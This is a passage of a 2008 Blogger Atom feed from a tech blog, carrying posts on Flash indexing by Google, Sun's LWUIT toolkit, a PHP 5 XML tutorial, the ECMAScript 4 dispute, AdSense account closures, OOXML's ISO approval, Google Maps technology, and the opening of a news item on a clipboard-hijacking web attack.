type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=4519334374067764087' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/4519334374067764087'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/4519334374067764087'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/09/google-chrome-memory-usage-good-and-bad.html' title='Google Chrome Memory Usage - Good and Bad'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-7149876385561087261</id><published>2008-08-20T14:04:00.000-07:00</published><updated>2008-08-20T14:05:58.237-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Animation'/><category scheme='http://www.blogger.com/atom/ns#' term='xml'/><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><category scheme='http://www.blogger.com/atom/ns#' term='Flash'/><title type='text'>Some must know truths about Google indexing of Flash files</title><content type='html'>Google has been crawling the web for years and helping a lot of businesses to grow to a level they can never imagine.Since, a vast amount of business organisations started relying on web based identity...Some of them prefer a single portfolio page..that was enough for a better identity those days..but this starts changing when the business levels and style of business process changed...and as days passed...many are now relying on highly dynamic sites and started concentrating on flash based site..where user interactivity was the main intention. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;But, soon the sad news for these people came up which was really horrible that google cant index flash files…as google mainly focuses on crawling through highly raw content on the site…where static and partially dynamic sites got more priority than flash based site, even google crawler was able to scan through the images and its captions and through “alt” attribute of “&lt;img&gt;“.&lt;br /&gt;&lt;br /&gt;But still, the truth was google cant crawl through flash files..but now it has become real relief for a lot of people who thought this would never happen….Now google and Adobe shaked hands and started indexing flash files..it can crawl through flash files and capture some content contained in it…still we need to make sure that..google can index our flash files well.&lt;br /&gt;&lt;br /&gt;So before leaving everything to google, why cant we take some precautions to avoid this kind of issues..google really loves us..its fond of the content..so google really deserves some assistance from our side too..&lt;br /&gt;&lt;br /&gt;First of all, apart form the announcement from Adobe of this wonderful facility..lets concentrate on certain points..to make the flash based site more success among other sites…&lt;br /&gt;&lt;br /&gt;• Make sure you embed your Flash using SWFobject so that you can display alternate HTML content. Make sure that the text content in the alternate HTML is as identical as possible to the Flash content. Graphic elements can be described, just as you would describe a photo with a caption or an image ALT tag.&lt;br /&gt;• Some flash content can be build with XML as well, so ff you generate your Flash content from an external XML file, use the same XML file to generate the alternate HTML content.&lt;br /&gt;• Google can see text and links inside the Flash file; but it will not split up a Flash file into multiple pages and index them separately. That means that your Flash file will be the equivalent of one, massive HTML page, unless you break it up into multiple HTML landing pages as recommended above.&lt;br /&gt;&lt;br /&gt;But unfortunately, its not time for us to start creating great flash files that can be indexed by google…firmly based on the announcement from Adobe…&lt;br /&gt;&lt;br /&gt;Some of the main reasons could be….&lt;br /&gt;&lt;br /&gt;• We know that, now google can now crawl through text and links inside the flash file..but have you ever noticed that…a complete flash based site can always contain a single page and from there, the user can dynamically jump to the other navigation sections. But there ‘s  something that we need to think…If a site has five html page google crawls through all these pages and finds the relevant content , but is it possible in the case of flash files…Impossible..else google has to cut these flash files into small chunks and crawl through and index them….&lt;br /&gt;&lt;br /&gt;• Another point, it can  only crawl through static content and not possibly through dynamic content..dynamic in the sense, content that are taken dynamically from an external XML file, its  not sure that google indexes these dynamic  contents.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-7149876385561087261?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/7149876385561087261/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=7149876385561087261' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/7149876385561087261'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/7149876385561087261'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/08/some-must-know-truths-about-google.html' title='Some must know truths about Google indexing of Flash files'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-4580998977404866202</id><published>2008-08-17T12:14:00.001-07:00</published><updated>2008-08-17T12:14:45.146-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Technology News'/><title type='text'>Sun opens Java tools in mobile fight back</title><content type='html'>Sun Microsystems has open sourced its Java toolkit for building mobile applications just as the role Java plays on handsets comes into question.&lt;br /&gt;&lt;br /&gt;The company has released the Light-Weight UI Toolkit (LWUIT) under a GPLv2 license with a classpath exception - for binary linking with an application - as an incubator project to Java.net. Fixes to LWUIT from Sun will be posted to the repository.&lt;br /&gt;&lt;span class="fullpost"&gt;Announced in April and based on Java Mobile Edition, LWUIT includes a range of graphical components, themes, fonts, animation and transition effects, touch-screen support, and Scalable Vector Graphic image support using Java Specification Request (JSR) 226.&lt;br /&gt;&lt;br /&gt;Mobile has long been one of Java's strongest markets running on billions of devices. That's been down to two facts: its cross-platform capabilities that allow for a degree of application portability, and the fact that - unlike Windows - no single vendor dominates the technology, something that pleases the powerful handset and service provider industry.&lt;br /&gt;&lt;br /&gt;Its biggest weakness, though, has been the confusing proliferation of related sub specs, such as MIDP, CDLC and CDC spanning cell phones, PDAs and set-top boxes&lt;br /&gt;&lt;br /&gt;Java's place in the sun looks to be challenged by Linux and open source. Both the Linux Mobile Foundation and Google with Android have turned to Linux as an answer to their prayers on software portability across handsets and freedom from the roadmap and marketing dictates of a single vendor. LiMo has promised more than half of its smart-phone platform will be open source by release four.&lt;br /&gt;&lt;br /&gt;The Symbian Foundation, meanwhile, has promised to open source its platform's code for broader adoption.&lt;br /&gt;&lt;br /&gt;And in its march towards iPhone market share, Apple has rejected Java so it can retain control of the handset's architecture and future roadmap.&lt;br /&gt;&lt;br /&gt;When Sun first began talking up LWUIT in April, it wasn't clear how the Java stack would be released or licensed. GPLv2, though, seems an attempt to get it out there as broadly as possible and running on LiMo and Android devices. The iPhone is another matter.&lt;br /&gt;&lt;br /&gt;Sun LWUIT developer Shai Almog appealed to developers to help evangelize LWUIT. "The best product in the world is worthless without its users, they make or break the product," he blogged. "One of the ways in which you can help us is by advocating and informing other developers about LWUIT, this is something we can't do on our own."&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-4580998977404866202?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/4580998977404866202/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=4580998977404866202' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/4580998977404866202'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/4580998977404866202'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/08/sun-opens-java-tools-in-mobile-fight.html' title='Sun opens Java tools in mobile fight back'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-6933046702662000647</id><published>2008-08-17T12:10:00.000-07:00</published><updated>2008-08-17T12:12:42.513-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Technology News'/><title type='text'>Harness XML with PHP 5 extensions</title><content type='html'>Hands on PHP is one of the most commonly used languages for developing web sites while XML has become an industry standard for exchanging data. Increasingly, web sites use XML to transfer data through web feeds such as RSS and Atom, or through web services.&lt;br /&gt;&lt;br /&gt;PHP 5 XML extensions provide support for parsing, transformation, XPath navigation, and schema validation of XML documents. The SimpleXML extension in PHP 5 simplifies node selection by converting an XML document to a PHP object that may be accessed with property selectors and array iterators. The XSL extension in PHP 5 is used to transform an XML document.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;In this article, I'll show you how to process an example XML document, catalog.xml using the PHP 5 XML extensions.&lt;br /&gt;&lt;br /&gt;First things first, though. Before you go anywhere, you'll need to install PHP 5 in Apache HTTP Server, and activate the XSL extension in the php.ini configuration file.&lt;br /&gt;&lt;br /&gt;extension=php_xsl.dll&lt;br /&gt;&lt;br /&gt;Restart Apache Server after modifying php.ini.&lt;br /&gt;Create your XML&lt;br /&gt;&lt;br /&gt;To create an XML document with the PHP 5 DOM extension create a PHP file, createXML.php , in the C:/Program Files/Apache Group/Apache2/htdocs directory, the document root directory of the Apache server. An XML document in PHP 5 is represented with DOMDocument class. Therefore, create a DOMDocument object. Specify the XML version and encoding in the DOMDocument constructor.&lt;br /&gt;&lt;br /&gt;$domDocument = new DOMDocument('1.0','utf-8');&lt;br /&gt;&lt;br /&gt;An element is represented with the DOMElement class. Create root element catalog with createElement(). Add the root element to the DOMDocument object with appendChild().&lt;br /&gt;&lt;br /&gt;$catalog=    $domDocument-&gt;createElement("catalog");&lt;br /&gt;$domDocument-&gt;appendChild ($catalog);&lt;br /&gt;&lt;br /&gt;An attribute in a DOMElement object is represented with the DOMAttr class. Create attribute title with createAttribute(). Set the value of the title attribute using the value property. Add the title attribute to catalog element using setAttributeNode().&lt;br /&gt;&lt;br /&gt;$titleAttribute= $domDocument-&gt;createAttribute("title");&lt;br /&gt;   $titleAttribute-&gt;value="XML Zone";&lt;br /&gt;   $catalog-&gt;setAttributeNode ($titleAttribute);&lt;br /&gt;&lt;br /&gt;Create a journal element, including the date attribute, within the catalog element. Add an article element, including sub elements title and author, within the journal element. A text node in an element is represented with the DOMText class. Create a text node using the createTextNode() to set the text of title element.&lt;br /&gt;&lt;br /&gt;$titleText= $domDocument-&gt;createTextNode("The Java XPath API");&lt;br /&gt;$title-&gt;appendChild ($titleText);&lt;br /&gt;&lt;br /&gt;Output the XML document created to the browser using saveXML().&lt;br /&gt;&lt;br /&gt;$domDocument-&gt;saveXML();&lt;br /&gt;&lt;br /&gt;Run the PHP script with URL http://localhost/createXML.php. The XML document, catalog.xml, gets generated.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-6933046702662000647?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/6933046702662000647/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=6933046702662000647' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/6933046702662000647'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/6933046702662000647'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/08/harness-xml-with-php-5-extensions.html' title='Harness XML with PHP 5 extensions'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-4819499257951826177</id><published>2008-08-17T12:07:00.000-07:00</published><updated>2008-08-17T12:16:00.473-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Technology News'/><title type='text'>JavaScript standards wrangle swings Microsoft's way</title><content type='html'>Adobe Systems appears to have been wrong footed and Microsoft left crowing on JavaScript’s evolution, following a decision by theECMA.&lt;br /&gt;&lt;br /&gt;After several months of wrangling, ECMA technical committee (TC) 39 - responsible for JavaScript standardization - has agreed to abandon plans for an ambitious new standard dubbed ECMAScript (ES) 4 and concentrate on evolving the current standard ES 3.1 under the new name ES Harmony. The move is seen by some as a blow to Adobe, which had based ActionScript - the language that underpins its Flash platform - on ES4.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;The conflict within TC 39 spilled into the public domain in October 2007 when Microsoft's Internet Explorer platform architect Chris Wilson criticized ES 4 for trying to introduce too many changes.&lt;br /&gt;&lt;br /&gt;Wilson's criticism was strongly countered by Mozilla chief architect Brendan Eich, a senior member of TC 39. Eich accused Wilson of "spreading falsehoods" about ES 4 and playing political games because Microsoft saw ES 4 as "a competitive threat". He also noted that Microsoft has neglected to upgrade its JavaScript compliance in Internet Explorer until it had to.&lt;br /&gt;&lt;br /&gt;While Microsoft congratulates itself over its apparent victory, Adobe is putting on a brave face. In response to questions over the future of ActionScript, Adobe community expert Dan Smith indicated (see comments) that it would track the new ES Harmony specifications. But he also said that key features from ES4 that have now been abandoned will remain. These include namespaces, packages and classes.&lt;br /&gt;&lt;br /&gt;Adobe does not appear to be against cutting back on ES 4 features in principle. Lars Hansen, Adobe's representative on TC 39, proposed cutting back on ES 4 features back in February 2008&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-4819499257951826177?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/4819499257951826177/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=4819499257951826177' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/4819499257951826177'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/4819499257951826177'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/08/javascript-standards-wrangle-swings.html' title='JavaScript standards wrangle swings Microsoft&apos;s way'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-1178544741441136108</id><published>2008-08-17T12:05:00.000-07:00</published><updated>2008-08-17T12:06:33.027-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Technology News'/><title type='text'>Google murders second Anonymous AdSense account</title><content type='html'>&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;Exclusive&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;:&lt;/span&gt; Google has shutdown the AdSense account of another anti-Scientology site.&lt;br /&gt;&lt;br /&gt;Three months after cutting off all ads served to Enturbulation, a site dedicated to promoting activism against the Church of Scientology and all its related organizations, Google has done the same with a similar site known as Epic&lt;br /&gt;Anonymous.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;Earlier this week, administrators at Epic Anonymous received the same email that turned up at Enturbulation back in May. "While going through our records recently, we found that your AdSense account has posed a significant risk to our AdWords advertisers," the email said. "Since keeping your account in our publisher network may financially damage our advertisers in the future, we've decided to disable your account."&lt;br /&gt;&lt;br /&gt;Google has not responded to our requests for comment. But it would appear that the company has shutdown the account because it suspects click fraud - i.e. its automated system caught too many people repeatedly clicking on the site's ads.&lt;br /&gt;&lt;br /&gt;Alexander Vanino, who owns Epic Anonymous, insists that he and others running the site have not attempted to rig the AdSense system. But he says that much like Enturbulation, Epic Anonymous was littered with ads paid for by the Church of Scientology. That's right, Google was serving countless pro-Scientology ads to an anti-Scientology site.&lt;br /&gt;&lt;br /&gt;"I've been doing my best to filter these out through Google's [AdSense] interface," Vanino tells us. "But there were so many of them, from so many different domains, it was really hard to keep up with blocking them. It felt like I was going in every other day and blocking more and more sites."&lt;br /&gt;&lt;br /&gt;Though it made no attempt to block them, Enturbulation was also served a regular stream of pro-Scientology ads and a site administrator has admitted its users were repeatedly clicking on the ads. "Google said that it wasn't a complaint from Scientology (or any other organization) that got Enturbulation.org's AdSense account shut down," the admin told us. "It was an unfortunate case of click fraud.&lt;br /&gt;&lt;br /&gt;"Some members of the forum wrongly believed that by clicking the ads repeatedly that Scientology would be forced to fund the Enturbulation website when all it did was alert the automated system of possible fraud."&lt;br /&gt;&lt;br /&gt;This may be what happened with Epic Anonymous. Or it may have been someone else clicking on the ads. But it begs the question: Why are so many Scientology ads turning up on these sites run by the now famous Anonymous movement, which launched an epic online Scientology protest back in January. Either Google's ad serving algorithms are dreadful or Scientologists are intentionally buying keywords that put their ads onto Anonymous sites. Or both.&lt;br /&gt;&lt;br /&gt;In any event, pro-Scientology ads have repeatedly turned up on two anti-Scientology sites. And in both cases, Google has shutdown the sites' AdSense accounts, claiming they "may financially damage" advertisers.&lt;br /&gt;&lt;br /&gt;Vanino and Matthew Danziger, another Epic Anonymous admin, believe that Scientology is somehow manipulating Google's system. "Google isn't doing a good job of looking out for its [AdSense] customers. They aren't saying 'We shouldn't be showing these sorts of ads on these sorts of sites," Vanino told us. "And then, from where I'm sitting, Scientology is taking advantage of this, telling Google that by serving ads onto our site, it's causing financial damage.&lt;br /&gt;&lt;br /&gt;"So Google goes and shuts us down. In my opinion, they're putting a Band-Aid on a much bigger problem."&lt;br /&gt;&lt;br /&gt;It's worth noting that Google's new AdSense policies say that partner sites may not include "advocacy against any individual, group, or organization." But it's unclear how often Google actually enforces this.&lt;br /&gt;&lt;br /&gt;It's also worth noting that Google's official rules do not permit advertising "for the promotion of religious content."&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-1178544741441136108?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/1178544741441136108/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=1178544741441136108' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/1178544741441136108'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/1178544741441136108'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/08/google-murders-second-anonymous-adsense.html' title='Google murders second Anonymous AdSense account'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-8607301259458432307</id><published>2008-08-17T12:01:00.000-07:00</published><updated>2008-08-17T12:03:50.418-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Technology News'/><title type='text'>ISO rejects Office Open XML appeal (redux)</title><content type='html'>The International Standardisation Organisation (ISO) has rejected appeals by four countries to reject Microsoft's Office Open XML formats as an international standard. No further appeals can be made against the decision by two technical boards, so ISO/IEC DIS 29500, Information technology - Office Open XML formats can wend its way to publication in coming weeks.&lt;br /&gt;&lt;br /&gt;In a press release yesterday, the ISO said appeals by Brazil, India, South Africa and Venezuela had failed to muster the support of two thirds of the members of its technical boards.&lt;br /&gt;&lt;span class="fullpost"&gt;Acknowledging the debate over the ratification of Office Open XML, the standards body noted: "Experiences from the ISO/IEC 29500 process will also provide important input to ISO and IEC and their respective national bodies and national committees in their efforts to continually improve standards development policies and procedures." This will be a great consolation for the losing side.&lt;br /&gt;&lt;br /&gt;The ISO's decision comes as no surprise. A month ago, a leaked document, recommending that the appeals from national standard bodies from South Africa, Brazil, India and Venezuela "should not be processed further", tipped up on Groklaw (PDF)&lt;br /&gt;&lt;br /&gt;Microsoft is delighted that OOXML is a standard at last - it's been through a lot of debates in a lot of countries over the last year. But it is not crowing in public. So let's turn to Jerry Fishenden, Microsoft UK's lead technology advisor, who has the party line down pat on his personal blog. "Users now have what they have long asked for: independent ownership and maintenance of these important document" formats," he writes.&lt;br /&gt;&lt;br /&gt;Critics of OOXML have two main objections against the standard. First, Microsoft does not support Open Document Files (ODF), a rival ISO file format standard used in OpenOffice, among others. MS-Office 2007, for instance, uses OOXML formats lacks native ODF support. (In the toing and froing over the OOXML standard, Microsoft said in May that it will build ODF support into SP2 of Office 2007, due out sometime next year.) Second, many in the anti-camp are against OOXML - because they are against Microsoft.&lt;br /&gt;&lt;br /&gt;Groklaw's Pamela Jones last month denounced ISO's OOXML deliberations as a farce. We find it hard to work up a sweat, for file format squabbling be one of the worst spectator sports known to Man. But considering the efforts made by both sides, it must be very a important game, mustn't it?&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-8607301259458432307?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/8607301259458432307/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=8607301259458432307' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/8607301259458432307'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/8607301259458432307'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/08/iso-rejects-office-open-xml-appeal.html' title='ISO rejects Office Open XML appeal (redux)'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-1013094046589860282</id><published>2008-08-17T09:23:00.000-07:00</published><updated>2008-08-17T09:29:17.868-07:00</updated><title type='text'>More details on Google Maps' Web Technology'</title><content type='html'>It's been fascinating to watch the reaction of the geospatial community (and the non-geospatial community) to Google Maps.My sense is that because it's Google, there's more of a buzz, than say when Yahoo! Maps launched.That, I believe, has meant far more interest in the background technology and the general usability.It's also led to some interesting speculation about the technology behind the tool.&lt;br /&gt;&lt;br /&gt;Google Maps is a combination of proprietary commercial technology (like that from Telcontar, which I wrote about earlier this week) and commercial data (from NAVTEQ and Tele Atlas) and some good old-fashioned, clever programming.Below is a quick look at that "clever programming piece" from a non-programmer and some clarification on speculation regarding technology that I ran into this week.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;span style="font-weight: bold;"&gt;Technical Background&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: left;"&gt;&lt;span class="fullpost"&gt;The key technical dissection of Google Maps appeared in a blog last week.Joel Webber took a look under the hood and highlighted some key technology decisions made by Google programmers.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;First off, the application is built on DHTML.That's dynamic HTML and basically it means that a webpage is different each time it's viewed depending on different parameters.There are many ways to create DHTML, but Google Maps uses JavaScript.&lt;br /&gt;&lt;br /&gt;Second, the map is tiled; it's a 128 x 128 grid.T&lt;/span&gt;&lt;span class="fullpost"&gt;hat explains why grid squares are painted.It's also what allows the unique scrolling that not available on other mapping portal offerings.&lt;br /&gt;&lt;br /&gt;Third, the pushpins (the upside down teardrops that locate addresses) are transparent GIFs, but their shadows are PNGs.The shadows really have no place on the map, that is, there "geography" is not really relevant, but they to make the maps pretty and provide a pleasing 3D quality.They remind me of the line of scrimmage and first down lines available on TV during football games.They are not r&lt;/span&gt;&lt;span class="fullpost"&gt;eally "there," but help the viewer make sense of the geography of the field.&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: left;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_VHplZu23whg/SKhRfaEJBOI/AAAAAAAAAtE/X9zlvm8dRzI/s1600-h/maps.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_VHplZu23whg/SKhRfaEJBOI/AAAAAAAAAtE/X9zlvm8dRzI/s320/maps.jpg" alt="" id="BLOGGER_PHOTO_ID_5235524166832686306" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;span class="fullpost"&gt;Fourth, the map is created by querying the correct tiles at the correct zoom level.(That reminded me of the GetMap query that's part of the Web Map Service specification from the Open Geospatial Consortium [(for whom I consult].) As these grid squares get cached locally, or perhaps elsewhere, it's suggested, panning and zooming get faster.&lt;br /&gt;&lt;br /&gt;Finally, the map is separate from the search queries, meaning the entire page need not be redrawn each time a new query is made.&lt;br /&gt;&lt;br /&gt;There's quite a bit more detail in Joel's overview.My point is that this is not some super fancy new thing.It's clever use of existing commercial tools and "Web stuff."&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Some Apparent Misconceptions&lt;/span&gt;&lt;br /&gt;Several articles I saw suggested the technology is built on Google's acquired Keyhole technology.In eWeek Marissa Mayer, Google's director of consumer Web products said "its technology was not directly used in Google Maps." That said, there's much speculation about how the two will be linked in the future.&lt;br /&gt;&lt;br /&gt;Another comment suggested ESRI's ArcIMS was behind the solution.Thers is to date no evidence of that.Besides, if ESRI were behind it, I suspect we'd have seen a press release by now.That's not to say there is no relationship between the companies: ESRI count Google among its partners for the new version of geodata.gov.&lt;br /&gt;&lt;br /&gt;One user in Canada "poo-poo-ed" Google since a small town of interest was not available via Google.The user noted that MapQuest failed to find it, too.But, Maporama did have it.That might be because the latter uses data from DMTI Spatial and I do not believe the others do. Another poster wanted to know how the data was updated.Google does not say, but data vendors do offer monthly and sometimes weekly updates for data.Few if any of the map portal vendors disclose how quickly they load those updates.Recall, too, that a change may take many months from its identification to its addition to a new dataset.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Add-ons Abound&lt;/span&gt;&lt;br /&gt;One fellow has figured out how to transfer the area of interest from Google Maps over to Keyhole (trial or real version).It's a FireFox extension.Another has figured out how to add GPS data to Google Maps.Glen Murphy's website that illustrates how to hook a GPS up to Google Maps (Windows only, so far).From the Mac side, it's possible to integrate Google Maps into a Mac OS X Address Book.Some AppleScript Code adds a context menu accessible in the Address Book app.Right clicking on an entry will open a map of US address in the Address Book in FireFox.(Recall Google Maps runs happily on FireFox, which is supported on Macs.) Also for FireFox is a Google Maps searchbar. The amount of energy here is quite impressive.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Advertising on Google's Shoulders&lt;/span&gt;&lt;br /&gt;Also of note, nearly every discussion (blog comments, newsgroups, etc.) of Google Maps I found included a reference to an online map service, Maps24 and how they are hiring.Nearly every one also had plugs for various online mapping services, worldwide hoping to get in on the excitement of the new Google offering.I suppose everyone wants to jump on Google's coat tails.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8191367375415289842-1013094046589860282?l=webnology.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webnology.blogspot.com/feeds/1013094046589860282/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8191367375415289842&amp;postID=1013094046589860282' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/1013094046589860282'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8191367375415289842/posts/default/1013094046589860282'/><link rel='alternate' type='text/html' href='http://webnology.blogspot.com/2008/08/more-details-on-google-maps-web.html' title='More details on Google Maps&apos; Web Technology&apos;'/><author><name>unni</name><uri>http://www.blogger.com/profile/07413941466960411392</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_VHplZu23whg/SKhRfaEJBOI/AAAAAAAAAtE/X9zlvm8dRzI/s72-c/maps.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8191367375415289842.post-6853301451519053075</id><published>2008-08-17T07:44:00.000-07:00</published><updated>2008-08-17T07:50:08.203-07:00</updated><title type='text'>Mystery web attack hijacks your clipboard</title><content type='html'>A new web-based attack is making the rounds that tries to spread poisonous links by hijacking end users' clipboards.&lt;br /&gt;&lt;br /&gt;Forum discussions &lt;a href='http://forums.techguy.org/malware-removal-hijackthis-logs/729773-weird-copy-paste-virus.html' &gt;here&lt;/a&gt; and elsewhere all report the same thing: the commenter surfs to a seemingly legitimate site (MSNBC.com comes up more than once) and suddenly a malicious link is copied to the clipboard. The rogue link remains even after the user copies a new batch of text. The only way to remove it is to reboot the computer.&lt;br 